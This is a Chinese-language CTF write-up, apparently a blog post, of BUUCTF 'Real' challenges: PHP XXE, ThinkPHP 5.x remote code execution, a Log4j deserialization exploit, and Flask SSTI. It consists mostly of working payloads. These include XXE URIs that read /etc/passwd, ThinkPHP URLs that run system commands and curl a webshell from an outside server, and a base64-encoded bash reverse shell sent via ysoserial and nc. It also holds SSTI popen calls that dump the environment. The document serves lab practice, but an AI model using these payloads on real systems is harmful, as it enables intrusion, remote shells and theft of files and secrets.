BUUCTF | 您所在的位置:网站首页 › buuctf平台 › BUUCTF |
BUUCTF-Real
[PHP]XXE[ThinkPHP]5-Rce[ThinkPHP]5.0.23-Rce[ThinkPHP]2-RceLog4j[log4j]CVE-2017-5645[Flask]SSTI未完待续
[PHP]XXE
PHP 7.0.30 libxml 2.8.0 libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消亡。为了演示PHP环境下的XXE漏洞,本例会将libxml2.8.0版本编译进PHP中。 Web目录为./www,其中包含4个文件: $ tree . ├── dom.php # 示例:使用DOMDocument解析body ├── index.php ├── SimpleXMLElement.php # 示例:使用SimpleXMLElement类解析body └── simplexml_load_string.php # 示例:使用simplexml_load_string函数解析body dom.php、SimpleXMLElement.php、simplexml_load_string.php均可触发XXE漏洞 利用代码 &xxe; /* 1.读取任意文件 file 协议,file:///etc//passwd php 协议,php://filter/read=convert.base64-encode/resource=index.php 2.执行系统命令 PHP环境中PHP的expect模块被加载 expect://ipconfig 3.内网探测 http://192.168.0.128:80 参见:https://xz.aliyun.com/t/3357#toc-11 */利用如下 一篇文章带你深入理解漏洞之 XXE 漏洞 所以要想更进一步的利用我们不能将眼光局限于 file 协议,我们必须清楚地知道在何种平台,我们能用何种协议 如图所示: 大佬博客走起 以下是其博客POC ************Thinkphp = 5.1.x , php版本>5.5 http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert http://127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo() http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content= ************Thinkphp = 5.0.x , php版本>=5.4 http://127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo() 但是buuctf靶机不能通过上面5.0.x的POC,猜测是其assert函数被禁止或者其他问题 本次buuctf的poc 其版本为5.0.20 ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1有命令执行我就喜欢远控,发现该靶机有curl命令且可以通外网,那就下载一个蚁剑🐎, ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=curl%20-o%20Lndex.php%20http://x.x.x.x:80/Lndex.php通过ls命令发现下载成功。 使用Burp拦截的时候,先右键【变更请求方法】,由GET变为POST,再发送给repeater。 poc POST /index.php?s=captcha HTTP/1.1 Host: localhost Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 72 _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -l1.Lndex.php 利用curl下载。 直接访问 http://your-ip:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D即可执行phpinfo(): Log4j参考博客Log4j2任意命令执行buuoj靶场复现 - Nie’s Blog 博客的反弹shell是用的自己脚本 。 JNDIExploit-1.2-SNAPSHOT.jar 也可以用它自带的命令。null是运行jar工具的VPS地址 利用工具ysoserial· 将工具上传到公网VPS。 首先知道Linux的反弹命令 bash -i >& /dev/tcp/127.0.0.1/6666 0>&1 这是最原始的可执行命令 由于有特殊字符所以base64加密,在执行 bash -c {echo,xxx}|{base64,-d}|bashxxx是base64密文,这是执行xxx的可执行命令。 所以先将127.0.0.1和6666换成你VPS的IP和nc -lvp 端口的监听端口 然后base64加密。 假设VPS IP192.168.1.10 vps先执行 nc -lvp 6666 最后vps执行:java -jar ysoserial-master-8eb5cbfbf6-1.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAvNjY2NiAwPiYx}|{base64,-d}|bash" | nc node4.buuoj.cn 25874 node4.buuoj.cn 25874是靶机的地址 查看python版本: popen(%22python3%20-V%22) 半天没找到flag,百度了才发现在系统环境变量里😪 popen(%22env%22).read()’ 下面推荐一些关于SSTI博客,博客中还有相关链接,可以顺藤摸瓜: flask之ssti模版注入从零到入门 flask ssti python2和python3 注入总结和区别 Python沙箱逃逸总结 Flask/Jinja2 SSTI && Python 沙箱逃逸基础 未完待续 |
CopyRight 2018-2019 实验室设备网 版权所有 |